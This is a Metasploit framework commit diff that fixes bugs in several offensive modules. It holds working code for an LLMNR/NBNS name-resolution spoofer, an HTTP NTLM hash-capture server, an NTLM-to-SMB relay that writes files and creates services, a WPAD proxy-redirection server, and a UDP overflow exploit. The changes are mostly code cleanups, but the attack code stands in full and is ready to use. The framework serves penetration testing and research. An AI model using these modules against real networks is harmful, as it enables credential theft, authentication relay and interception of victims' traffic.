Land #2464, fixes for llmnr_response and friends

Fixed conflict in lib/msf/core/exploit/http/server.rb.
bug/bundler_fix
William Vu 2013-12-10 13:41:45 -06:00
commit ff9cb481fb
8 changed files with 182 additions and 155 deletions

View File

@ -48,7 +48,7 @@ module Msf
begin begin
require 'pcaprub' require 'pcaprub'
@pcaprub_loaded = true @pcaprub_loaded = true
rescue ::Exception => e rescue ::LoadError => e
@pcaprub_loaded = false @pcaprub_loaded = false
@pcaprub_error = e @pcaprub_error = e
end end
@ -56,7 +56,7 @@ module Msf
begin begin
require 'network_interface' require 'network_interface'
@network_interface_loaded = true @network_interface_loaded = true
rescue ::Exception => e rescue ::LoadError => e
@network_interface_loaded = false @network_interface_loaded = false
@network_interface_error = e @network_interface_error = e
end end
@ -97,7 +97,7 @@ module Msf
len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i
tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i
fil = opts['FILTER'] || datastore['FILTER'] fil = opts['FILTER'] || datastore['FILTER']
arp = opts['ARPCAP'] || true do_arp = (opts['ARPCAP'] == false) ? false : true
# Look for a PCAP file # Look for a PCAP file
cap = datastore['PCAPFILE'] || '' cap = datastore['PCAPFILE'] || ''
@ -115,7 +115,7 @@ module Msf
end end
self.capture = ::Pcap.open_live(dev, len, true, tim) self.capture = ::Pcap.open_live(dev, len, true, tim)
if arp if do_arp
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim) self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
preamble = datastore['UDP_SECRET'].to_i preamble = datastore['UDP_SECRET'].to_i
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})" arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
@ -125,7 +125,7 @@ module Msf
if (not self.capture) if (not self.capture)
raise RuntimeError, "Could not start the capture process" raise RuntimeError, "Could not start the capture process"
elsif (arp and !self.arp_capture and cap.empty?) elsif (do_arp and !self.arp_capture and cap.empty?)
raise RuntimeError, "Could not start the ARP capture process" raise RuntimeError, "Could not start the ARP capture process"
end end
@ -141,7 +141,6 @@ module Msf
def capture_extract_ies(raw) def capture_extract_ies(raw)
set = {} set = {}
ret = 0
idx = 0 idx = 0
len = 0 len = 0
@ -279,7 +278,7 @@ module Msf
# This ascertains the correct Ethernet addresses one should use to # This ascertains the correct Ethernet addresses one should use to
# ensure injected IP packets actually get where they are going, and # ensure injected IP packets actually get where they are going, and
# manages the self.arp_cache hash. It always uses self.arp_capture # manages the self.arp_cache hash. It always uses self.arp_capture
# do inject and capture packets, and will always first fire off a # to inject and capture packets, and will always first fire off a
# UDP packet using the regular socket to learn the source host's # UDP packet using the regular socket to learn the source host's
# and gateway's mac addresses. # and gateway's mac addresses.
def lookup_eth(addr=nil, iface=nil) def lookup_eth(addr=nil, iface=nil)
@ -309,7 +308,15 @@ module Msf
dst_port = rand(30000)+1024 dst_port = rand(30000)+1024
preamble = [datastore['UDP_SECRET']].pack("N") preamble = [datastore['UDP_SECRET']].pack("N")
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}" secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
UDPSocket.open.send(secret, 0, dst_host, dst_port)
begin
UDPSocket.open.send(secret, 0, dst_host, dst_port)
rescue Errno::ENETUNREACH
# This happens on networks with no gatway. We'll need to use a
# fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end
begin begin
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
::Timeout.timeout(to) do ::Timeout.timeout(to) do
@ -415,7 +422,7 @@ module Msf
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
#Netifaces code # Netifaces code
def netifaces_implemented? def netifaces_implemented?
@network_interface_loaded and @network_interface_loaded and
@ -486,8 +493,8 @@ module Msf
check_pcaprub_loaded check_pcaprub_loaded
dev = get_interface_guid(dev) dev = get_interface_guid(dev)
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr'] raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
addrs[NetworkInterface::AF_INET][num]['addr'] addrs[NetworkInterface::AF_INET][num]['addr']
end end
@ -496,8 +503,8 @@ module Msf
check_pcaprub_loaded check_pcaprub_loaded
dev = get_interface_guid(dev) dev = get_interface_guid(dev)
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask'] raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
addrs[NetworkInterface::AF_INET][num]['netmask'] addrs[NetworkInterface::AF_INET][num]['netmask']
end end

View File

@ -700,7 +700,7 @@ protected
# Returns a string containing the encrypted string and a loader # Returns a string containing the encrypted string and a loader
# #
def encrypt_js(javascript, key) def encrypt_js(javascript, key)
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key) Rex::Exploitation::EncryptJS.encrypt(javascript, key)
end end
# #

View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
print_status("Request '#{request.uri}'...") vprint_status("Request '#{request.uri}'")
case request.method case request.method
when 'OPTIONS' when 'OPTIONS'
@ -66,10 +66,16 @@ class Metasploit3 < Msf::Auxiliary
else else
# If the host has not started auth, send 401 authenticate with only the NTLM option # If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization']) if(!request.headers['Authorization'])
vprint_status("401 '#{request.uri}'")
response = create_response(401, "Unauthorized") response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM" response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli.send_response(response) cli.send_response(response)
else else
vprint_status("Continuing auth '#{request.uri}'")
method,hash = request.headers['Authorization'].split(/\s+/,2) method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them # If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
if(method != "NTLM") if(method != "NTLM")
@ -142,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
nt_len = ntlm_hash.length nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash, :lm_hash => lm_hash,
:nt_hash => ntlm_hash :nt_hash => ntlm_hash
} }
@ -153,11 +159,11 @@ class Metasploit3 < Msf::Auxiliary
#if the length of the ntlm response is not 24 then it will be bigger and represent #if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response # a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2 elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32], :lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16], :lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32], :nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32] :nt_cli_challenge => ntlm_hash[32, nt_len - 32]
} }
elsif nt_len == 0 elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ") print_status("Empty hash from #{host} captured, ignoring ... ")
@ -335,7 +341,7 @@ class Metasploit3 < Msf::Auxiliary
:active => true :active => true
) )
#if(datastore['LOGFILE']) #if(datastore['LOGFILE'])
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
#end #end
if(datastore['CAINPWFILE'] and user) if(datastore['CAINPWFILE'] and user)

View File

@ -89,7 +89,6 @@ class Metasploit3 < Msf::Auxiliary
when 'OPTIONS' when 'OPTIONS'
process_options(cli, request) process_options(cli, request)
else else
datastore['REQUEST_IP'] = cli.peerhost
cli.keepalive = true; cli.keepalive = true;
# If the host has not started auth, send 401 authenticate with only the NTLM option # If the host has not started auth, send 401 authenticate with only the NTLM option
@ -235,10 +234,10 @@ class Metasploit3 < Msf::Auxiliary
print_error("PUTDATA and FILEPUTDATA cannot both contain data") print_error("PUTDATA and FILEPUTDATA cannot both contain data")
raise ArgumentError raise ArgumentError
elsif datastore['PUTDATA'] != nil elsif datastore['PUTDATA'] != nil
datastore['FINALPUTDATA'] = datastore['PUTDATA'] @finalputdata = datastore['PUTDATA']
elsif datastore['FILEPUTDATA'] != nil elsif datastore['FILEPUTDATA'] != nil
f = File.open(datastore['FILEPUTDATA'], "rb") f = File.open(datastore['FILEPUTDATA'], "rb")
datastore['FINALPUTDATA'] = f.read @finalputdata = f.read
f.close f.close
end end
@ -272,7 +271,7 @@ class Metasploit3 < Msf::Auxiliary
if (method == 'POST') if (method == 'POST')
theaders << 'Content-Length: ' << theaders << 'Content-Length: ' <<
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n" (@finalputdata.length + 4).to_s()<< "\r\n"
end end
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
@ -295,10 +294,10 @@ class Metasploit3 < Msf::Auxiliary
'method' => method, 'method' => method,
'version' => '1.1', 'version' => '1.1',
} }
if (datastore['FINALPUTDATA'] != nil) if (@finalputdata != nil)
#we need to get rid of an extra "\r\n" #we need to get rid of an extra "\r\n"
theaders = theaders[0..-3] theaders = theaders[0..-3]
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n" opts['data'] = @finalputdata << "\r\n\r\n"
end end
opts['SSL'] = true if datastore["RSSL"] opts['SSL'] = true if datastore["RSSL"]
opts['raw_headers'] = theaders opts['raw_headers'] = theaders
@ -324,12 +323,12 @@ class Metasploit3 < Msf::Auxiliary
#relay ntlm type1 message for SMB #relay ntlm type1 message for SMB
def smb_relay_toservert1(hash) def smb_relay_toservert1(hash)
rsock = Rex::Socket::Tcp.create( rsock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'], 'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'], 'PeerPort' => datastore['RPORT'],
'Timeout' => 3, 'Timeout' => 3,
'Context' => 'Context' =>
{ {
'Msf' => framework, 'Msf' => framework,
'MsfExploit'=> self, 'MsfExploit'=> self,
} }
) )
@ -354,7 +353,7 @@ class Metasploit3 < Msf::Auxiliary
begin begin
#lazy ntlmsspblob extraction #lazy ntlmsspblob extraction
ntlmsspblob = 'NTLMSSP' << ntlmsspblob = 'NTLMSSP' <<
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
"\x00\x00" "\x00\x00"
rescue ::Exception => e rescue ::Exception => e
@ -367,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
#relay ntlm type3 SMB message #relay ntlm type3 SMB message
def smb_relay_toservert3(hash, ser_sock) def smb_relay_toservert3(hash, ser_sock)
arg = get_hash_info(hash) #arg = get_hash_info(hash)
dhash = Rex::Text.decode_base64(hash) dhash = Rex::Text.decode_base64(hash)
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash #Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
@ -424,7 +423,7 @@ class Metasploit3 < Msf::Auxiliary
ser_sock.client.tree_connect(share) ser_sock.client.tree_connect(share)
fd = ser_sock.open("\\#{path}", 'rwct') fd = ser_sock.open("\\#{path}", 'rwct')
fd << datastore['FINALPUTDATA'] fd << @finalputdata
fd.close fd.close
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written" logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
@ -536,7 +535,7 @@ class Metasploit3 < Msf::Auxiliary
response = dcerpc.call(0x0c, stubdata) response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20] svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4] #svc_status = dcerpc.last_response.stub_data[24,4]
end end
rescue ::Exception => e rescue ::Exception => e
print_error("Error: #{e}") print_error("Error: #{e}")
@ -627,7 +626,7 @@ class Metasploit3 < Msf::Auxiliary
nt_len = ntlm_hash.length nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash, :lm_hash => lm_hash,
:nt_hash => ntlm_hash :nt_hash => ntlm_hash
} }
@ -638,11 +637,11 @@ class Metasploit3 < Msf::Auxiliary
#if the length of the ntlm response is not 24 then it will be bigger and represent #if the length of the ntlm response is not 24 then it will be bigger and represent
#a ntlmv2 response #a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2 elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32], :lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16], :lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32], :nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32] :nt_cli_challenge => ntlm_hash[32, nt_len - 32]
} }
elsif nt_len == 0 elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ") print_status("Empty hash from #{host} captured, ignoring ... ")

View File

@ -33,7 +33,6 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptEnum.new('TYPE', [true, 'WPAD/PAC Data File', 'DAT', ['DAT', 'PAC']]),
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]), OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]), OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]), OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
@ -44,15 +43,10 @@ class Metasploit3 < Msf::Auxiliary
end end
def cleanup
datastore['URIPATH'] = @previous_uri
end
def on_request_uri(cli, request) def on_request_uri(cli, request)
print_status("Request '#{request.method} #{request.headers['user-agent']}") vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
return if request.method == "POST" return send_not_found(cli) if request.method == "POST"
html = <<-EOS html = <<-EOS
function FindProxyForURL(url, host) { function FindProxyForURL(url, host) {
@ -65,20 +59,23 @@ function FindProxyForURL(url, host) {
} }
EOS EOS
print_status("Sending WPAD config ...") print_status("Sending WPAD config")
send_response_html(cli, html, send_response_html(cli, html,
{ {
'Content-Type' => 'application/x-ns-proxy-autoconfig' 'Content-Type' => 'application/x-ns-proxy-autoconfig'
}) })
end end
def resource_uri
"/wpad.dat"
end
def primer
hardcoded_uripath("/proxy.pac")
end
def run def run
@previous_uri = datastore['URIPATH'] # This should probably be added to the Http mixin's run method
datastore['URIPATH'] = (datastore['TYPE'] == 'DAT') ? 'wpad.dat' : 'proxy.pac'
print_status("Serving #{datastore['URIPATH']} on port #{datastore['SRVPORT']}")
begin begin
exploit exploit
rescue Errno::EACCES => e rescue Errno::EACCES => e

View File

@ -6,6 +6,7 @@
require 'msf/core' require 'msf/core'
require 'socket' require 'socket'
require 'ipaddr' require 'ipaddr'
require 'net/dns'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
@ -16,8 +17,8 @@ attr_accessor :sock, :thread
def initialize def initialize
super( super(
'Name' => 'LLMNR Spoofer', 'Name' => 'LLMNR Spoofer',
'Description' => %q{ 'Description' => %q{
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address. sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
@ -55,80 +56,92 @@ attr_accessor :sock, :thread
self.sock = nil self.sock = nil
end end
def dispatch_request(packet, addr) def dispatch_request(packet, rhost, src_port)
rhost = addr[0] rhost = ::IPAddr.new(rhost)
src_port = addr[1]
# Getting info from the request packet # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
llmnr_transid = packet[0..1] # addr like "::ffff:192.168.0.1" when the interface we're listening
llmnr_flags = packet[2..3] # on has an IPv6 address. Convert it to just the v4 addr
llmnr_questions = packet[4..5] if rhost.ipv4_mapped?
llmnr_answerrr = packet[6..7] rhost = rhost.native
llmnr_authorityrr = packet[8..9]
llmnr_additionalrr = packet[10..11]
llmnr_name_length = packet[12..12]
name_end = 13 + llmnr_name_length.unpack('C')[0].to_int
llmnr_name = packet[13..name_end-1]
llmnr_name_and_length = packet[12..name_end]
llmnr_type = packet[name_end+1..name_end+2]
llmnr_class = packet[name_end+3..name_end+4]
llmnr_decodedname = llmnr_name.unpack('a*')[0].to_s
if datastore['DEBUG']
print_status("Received Packet from: #{rhost}:#{src_port}")
print_status("transid: #{llmnr_transid.unpack('H4')}")
print_status("tlags: #{llmnr_flags.unpack('B16')}")
print_status("questions: #{llmnr_questions.unpack('n')}")
print_status("answerrr: #{llmnr_answerrr.unpack('n')}")
print_status("authorityrr: #{llmnr_authorityrr.unpack('n')}")
print_status("additionalrr: #{llmnr_additionalrr.unpack('n')}")
print_status("name length: #{llmnr_name_length.unpack('c')}")
print_status("name: #{llmnr_name.unpack('a*')}")
print_status("decodedname: #{llmnr_decodedname}")
print_status("type: #{llmnr_type.unpack('n')}")
print_status("class: #{llmnr_class.unpack('n')}")
end end
if (llmnr_decodedname =~ /#{datastore['REGEX']}/i) dns_pkt = ::Net::DNS::Packet.parse(packet)
#Header spoof = ::IPAddr.new(datastore['SPOOFIP'])
response = llmnr_transid
response << "\x80\x00" # Flags TODO add details
response << "\x00\x01" # Questions = 1
response << "\x00\x01" # Answer RRs = 1
response << "\x00\x00" # Authority RRs = 0
response << "\x00\x00" # Additional RRs = 0
#Query part
response << llmnr_name_and_length
response << llmnr_type
response << llmnr_class
#Answer part
response << llmnr_name_and_length
response << llmnr_type
response << llmnr_class
response << [datastore['TTL']].pack("N") #Default 5 minutes
response << "\x00\x04" # Datalength = 4
response << Rex::Socket.addr_aton(datastore['SPOOFIP'])
open_pcap # Turn this packet into a response
# Sending UDP unicast response dns_pkt.header.qr = 1
p = PacketFu::UDPPacket.new
p.ip_saddr = Rex::Socket.source_address(rhost)
p.ip_daddr = rhost
p.ip_ttl = 255
p.udp_sport = 5355 # LLMNR UDP port
p.udp_dport = src_port # Port used by sender
p.payload = response
p.recalc
capture_sendto(p, rhost,true) dns_pkt.question.each do |question|
if should_print_reply?(llmnr_decodedname) name = question.qName
print_good("#{Time.now.utc} : Reply for #{llmnr_decodedname} sent to #{rhost} with spoofed IP #{datastore['SPOOFIP']}") unless name =~ /#{datastore['REGEX']}/i
end vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
close_pcap next
end
if should_print_reply?(name)
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
end
# qType is not a Fixnum, so to compare it with `case` we have to
# convert it
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => 30,
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
)
when ::Net::DNS::AAAA
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => 30,
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
)
else
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping")
next
end
end
# If we didn't find anything we want to spoof, don't send any
# packets
return if dns_pkt.answer.empty?
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5355,
:udp_dst => src_port,
:body => dns_pkt.data
)
udp.udp_recalc
if rhost.ipv4?
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof.hton,
:ip_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
elsif rhost.ipv6?
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof.hton,
:ipv6_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
else else
vprint_status("Packet received from #{rhost} with name #{llmnr_decodedname} did not match REGEX \"#{datastore['REGEX']}\"") # Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
return
end end
ip_pkt.recalc
open_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
close_pcap
end end
def monitor_socket def monitor_socket
@ -137,12 +150,11 @@ attr_accessor :sock, :thread
wds = [] wds = []
eds = [self.sock] eds = [self.sock]
r,w,e = ::IO.select(rds,wds,eds,0.25) r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock) if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535) packet, host, port = self.sock.recvfrom(65535)
addr = [host,port] dispatch_request(packet, host, port)
dispatch_request(packet, addr)
end end
end end
end end
@ -166,16 +178,23 @@ attr_accessor :sock, :thread
check_pcaprub_loaded() check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true ::Socket.do_not_reverse_lookup = true
multicast_addr = "224.0.0.252" #Multicast Address for LLMNR # Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
optval = ::IPAddr.new(multicast_addr).hton + ::IPAddr.new("0.0.0.0").hton # The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
self.sock = Rex::Socket.create_udp( self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0", 'LocalHost' => "0.0.0.0",
'LocalPort' => 5355) 'LocalPort' => 5355)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket monitor_socket
} }

View File

@ -67,9 +67,8 @@ class Metasploit3 < Msf::Auxiliary
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
packet, addr = @sock.recvfrom(512) packet, addr = @sock.recvfrom(512)
vprint_status("Packet Received from #{addr[3]}")
rhost = addr[3] rhost = addr[3]
break if packet.length == 0 break if packet.length == 0
nbnsq_transid = packet[0..1] nbnsq_transid = packet[0..1]
@ -89,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
vprint_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...") vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
if datastore['DEBUG'] if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}") print_status("transid: #{nbnsq_transid.unpack('H4')}")
@ -137,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
close_pcap close_pcap
else else
vprint_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex") vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
end end
end end

View File

@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
r = udp_sock.sendto(pkt, rhost, rport, 0) udp_sock.sendto(pkt, rhost, rport, 0)
1.upto(5) do 1.upto(5) do
::IO.select(nil, nil, nil, 1) ::IO.select(nil, nil, nil, 1)
@ -344,7 +344,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Generate a buffer that provides a starting point for exploit development # Generate a buffer that provides a starting point for exploit development
def target_debug def target_debug
buffer = Rex::Text.pattern_create(2000) Rex::Text.pattern_create(2000)
end end
def stage_real_payload(cli) def stage_real_payload(cli)
@ -415,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = nil res = nil
1.upto(5) do 1.upto(5) do
res,addr,info = udp_sock.recvfrom(65535, 1.0) res,_,_ = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /^(Server|Location)/mi break if res and res =~ /^(Server|Location)/mi
udp_sock.sendto(msearch, rhost, rport, 0) udp_sock.sendto(msearch, rhost, rport, 0)
end end